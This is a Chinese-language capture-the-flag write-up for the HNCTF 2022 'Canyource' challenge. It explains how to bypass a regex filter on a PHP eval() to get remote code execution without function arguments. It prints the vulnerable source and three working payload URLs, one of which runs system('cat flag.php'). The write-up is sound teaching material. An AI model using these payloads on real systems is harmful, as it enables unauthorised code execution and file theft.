[HNCTF 2022 WEEK2]Canyource

题目描述的是无参数RCE 

源码

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}
else
    die('nonono');}
else
    echo('please input code');
?>

我们可能需要用到的函数无参RCE

看这个正则表达式

/[^\W]+\((?R)?\)/

\W 匹配非字母字符

[  ] 不匹配内部的字符

[^\W] 匹配字母(负负得正)

[^\W]+ 匹配一个至多个字母

\((?R)?\)  匹配括号,括号中允许有这个当前这个表达式(递归)

那么这题的正则表达式就是只允许我们使用函数,不允许我们为函数传递参数

我们接着看

来看看这个函数会返回什么 get_defined_vars()

会返回一个数组,但是第一个参数是$_GET,然后我们可以用current这个函数来取得第一个参数

这里我们假装GET传参

然后我们再利用end函数取得最后一个参数

利用这个特性,我们构造payload

http://node3.anna.nssctf.cn:28085/?code=eval(end(current(get_defined_vars())));&c=system('cat flag.php');

然后我们查看网页源码就能看见flag

另外一种方法(通过pos(localeconv()获取一个. 再用scandir 获取当前目录文件,再通过next(array_reverse)获取flag.php ,最后readfile读取文件)

http://node3.anna.nssctf.cn:28085/?code=readfile(next(array_reverse(scandir(pos(localeconv())))));

另另外一种方法(通过pos(localeconv()获取一个. 再用scandir 获取当前目录文件,再通过array_flip将键值调换,再用array_rand随机读取一个键,这个键可能是flag.php 然后再用readfile读取文件)

http://node3.anna.nssctf.cn:28085/?code=readfile(array_rand(array_flip(scandir(pos(localeconv())))));